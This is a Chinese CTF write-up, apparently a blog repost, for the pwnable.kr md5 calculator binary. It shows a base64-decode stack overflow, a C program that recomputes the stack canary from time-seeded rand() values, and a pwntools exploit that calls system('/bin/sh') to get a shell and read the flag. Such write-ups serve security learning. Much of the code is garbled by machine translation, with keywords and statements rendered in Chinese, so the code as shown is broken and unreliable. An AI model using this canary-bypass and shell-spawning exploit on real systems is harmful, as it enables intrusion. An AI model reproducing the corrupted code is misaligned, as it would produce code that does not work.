前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >md5 caculator Writeup[pwnable.kr]

md5 caculator Writeup[pwnable.kr]

作者头像
WeaponX
发布2018-09-20 10:34:16
7450
发布2018-09-20 10:34:16
举报
文章被收录于专栏:BinarySecBinarySec

0x00 md5 caculater

下载下来直接运行,提示缺libcrypto库,但是我却安装过了openssl。于是在lib下看,确实是没有这个库。因为我的环境是ubuntu x86_64装的openssl也是64位的,所以要安装32位的库,使用这个命令:

代码语言:javascript
复制
sudo apt-get install --reinstall libssl1.0.0:i386

安装好后反汇编一下,程序很简单。先生成一个随机数token,输入的值和随机数token相等则再输入一串base64编码后的文本,将这个文本解密后用md5加密打印。

0x01 思路

程序的漏洞比较明显,在process_hash函数这。

代码语言:javascript
复制
int  process_hash ()
{
  int v0; // ST14_4 @ 3
  void * ptr; // ST18_4 @ 3
  char v3; // [sp + 1Ch] [bp-20Ch] @ 1
  int v4; // [sp + 21Ch] [bp-Ch] @ 1
  v4 = * MK_FP(__ GS__,20);
  memset的(和v3,0,在0x200 U);
  while(getchar()!= 10)
    ;
  memset(g_buf,0,sizeof(g_buf));
  fgets(g_buf,1024,stdin);
  memset的(和v3,0,在0x200 U);
  v0 = Base64Decode(g_buf,&v3);
  ptr =(void *)calc_md5(&v3,v0);
  printf(“MD5(data):%s \ n”,ptr);
  免费(ptr);
  return * MK_FP(__ GS__,20)^ v4;
}

其中g_buf是全局变量1024字节,存放base64编码后的文本。v3是局部变量512字节,存放解码后的文本。

Base64是把3个字节变为4个字节,所以,Base64编码的长度永远是4的倍数

所以1024字节的base64解码后为1024/4*3=768。而程序只分配的512字节,所以会出现缓冲区溢出。

然而,程序开启了stack canary,需要我们绕过。

代码语言:javascript
复制
[----------------------------------寄存器-------------- ---------------------]
EAX:0x0 
EBX:0xffffd40c('a' <重复200 次 > ...)
ECX:0x0 
EDX:0xf7dcf434  - > 0x804c020  - > 0x3a9 
ESI:0x0 
EDI:0xffffd60c('a' <重复188 次 >)
EBP:0xffffd618('a' <重复176 次 >)
ESP:0xffffd3f0  - > 0x0 
EIP:0x8049074(<process_hash + 226>:mov eax,DWORD PTR [ebp-0xc])
EFLAGS:0x200282(进位奇偶校验调整零SIGN 陷阱 INTERRUPT方向溢出)
[ -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  -  - -码 -  -  -  -  - - --------------------------]
   0x8049066 <process_hash + 212>:mov eax,DWORD PTR [ebp-0x210]
   0x804906c <process_hash + 218>:mov DWORD PTR [esp],eax
   0x804906f <process_hash + 221>:调用0x8048900 <free @ plt>
=> 0x8049074 <process_hash + 226>:mov eax,DWORD PTR [ebp-0xc]
   0x8049077 <process_hash + 229>:xor eax,DWORD PTR gs:0x14
   0x804907e <process_hash + 236>:je 0x8049085 <process_hash + 243>
   0x8049080 <process_hash + 238>:调用0x8048990 <__ stack_chk_fail @ plt>
   0x8049085 <process_hash + 243>:添加esp,0x220
[------------------------------------堆------------ -------------------------]
0000 | 0xffffd3f0  - > 0x0
0004 | 0xffffd3f4  - > 0x804c028  - > 0x0
0008 | 0xffffd3f8  - > 0xf7dcfc20  - > 0xfbad2288
0012 | 0xffffd3 fc - > 0xf7c71a97(<_IO_vfscanf + 1399>:movzx ecx,BYTE PTR [ebp-0x15c])
0016 | 0xffffd400  - > 0xf7dcfc20  - > 0xfbad2288
0020 | 0xffffd404  - > 0x2be
0024 | 0xffffd408  - > 0x804c028  - > 0x0
0028 | 0xffffd40c('a' <重复200 次 > ...)
[------------------------------------------------- -----------------------------]
图例:代码,数据,rodata,值
0x08049074 在 process_hash()
gdb-peda $ p $ ebp -0xc
$ 1 =(void *)0xffffd60c
gdb-peda $ shell
-------------------------------------------------- ----------
〜/ pwn / pwnkr / md5_caculater»python
Python 2.7.6(默认,2016年10月26日,20:30:19) 
linux2上的[GCC 4.8.4]
输入“帮助”,“版权”,“信用”或“许可”  以获取更多信息。
>>> hex(0xffffd60c-0xffffd40c)
'在0x200'
>>>

可见,0x200字节就覆盖了canary。需要绕过这个canary,首先想到了Memory Leak。但是,程序不存在格式化字符串漏洞;又想能否使用BROP,这个程序是用socat启动的,程序挂了后肯定会rerandom,所以还是不行。

代码语言:javascript
复制
int  my_hash ()
{
  INT结果; // eax @ 4
  int v1; // edx @ 4
  签署 INT I; // [sp + 0h] [bp-38h] @ 1
  char v3 [ 32 ]; // [sp + Ch] [bp-2Ch] @ 2
  int v4; // [sp + 10h] [bp-28h] @ 4
  int v5; // [sp + 14h] [bp-24h] @ 4
  int v6; // [sp + 18h] [bp-20h] @ 4
  int v7; // [sp + 1Ch] [bp-1Ch] @ 4
  int v8; // [sp + 20h] [bp-18h] @ 4
  int v9; // [sp + 24h] [bp-14h] @ 4
  int v10; // [sp + 28h] [bp-10h] @ 4
  int v11; // [sp + 2Ch] [bp-Ch] @ 1
  v11 = * MK_FP(__ GS__,20);
  for(i = 0 ; i <= 7 ; ++ i)
    *(_ DWORD *)&v3 [ 4 * i] = rand();
  result = v7  -  v9 + v10 + v11 + v5  -  v6 + v4 + v8;
  v1 = * MK_FP(__ GS__,20)^ v11;
  返回结果;
}

看到了这个函数,其中v11为cancary,只要我们知道随机数,就可以逆推出canary的值。我们找到了随机数的种子为time(0)就是当前系统的时间戳。

这样就好办了,写一个程序来根据token算canary。因为目标程序是用socat启动的,所以当有程序连上目标端口就会启动这个程序,我们得到token后传入我们写的程序。这时候时间戳应该是一样的,根据这个token就可以算出canary。

代码语言:javascript
复制
#包括<stdio.h>中
int  main (int argc,char * argv [])
{
    int n [ 8 ],i;
    int token = atoi(argv [ 1 ]);
    int cookie;
    srand(时间(0));
    for(i = 0 ; i < 8 ; i ++)
    {
        N [1] = RAND();
    }
    // v [4] -v [6] + v [7] + cookie + v [2] -v [3] + v [1] + [5] =令牌
    cookie = token-n [ 5 ] -n [ 1 ] + n [ 3 ] -n [ 2 ] -n [ 7 ] + n [ 6 ] -n [ 4 ];
    printf(“%x \ n”,cookie);
    返回 0 ;
}

因为system有了,所以我们需要一个/bin/sh的地址来完成函数调用,这个也比较好解决。因为有一个全局变量,我们把/bin/sh放到全局变量里即可,所以exploit如下:

代码语言:javascript
复制
来自 pwn import *
进口 OS
来自 base64 导入 b64encode
#io = process(“./ hash”)
io = remote(“127.0.0.1”,10001)
io.recvuntil(“你是人吗?输入验证码:”)
token = io.recv()
io.send(令牌)
cookie = os.popen(“./ x” + token).read()
cookie = int(cookie,16)
log.success(“Canary => [{}]”。 format(hex(cookie)))
payload = “A” * 0x200 + p32(cookie)+ “B” * 12 + p64(0x8048880)+ p64(0x804b3c0)+ “/ bin / sh \ x00”
payload = b64encode(payload)+ “/ bin / sh \ x00”
的raw_input()
io.sendline(有效载荷)
io.interactive()

结果如下:

代码语言:javascript
复制
tiny_easy @ ubuntu:/ tmp $ python xxx.py
[+]在端口9002上打开到127.0.0.1的连接:完成
[+] Canary => [0xf5905a00]
[*]切换到交互模式
欢迎!你是经过身份验证的。
使用BASE64对数据进行编码然后粘贴我!
MD5(数据):a703c1b84424ff5c8e2f6c5569f3151a
$ ls
旗
日志
记录 2
md5calculator
super.pl
$ cat flag
金丝雀,堆栈守卫,堆栈保护器..什么是正确的表达?

0x02 Refer

http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001399413803339f4bbda5c01fc479cbea98b1387390748000

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017-03-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 md5 caculater
  • 0x01 思路
  • 0x02 Refer
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档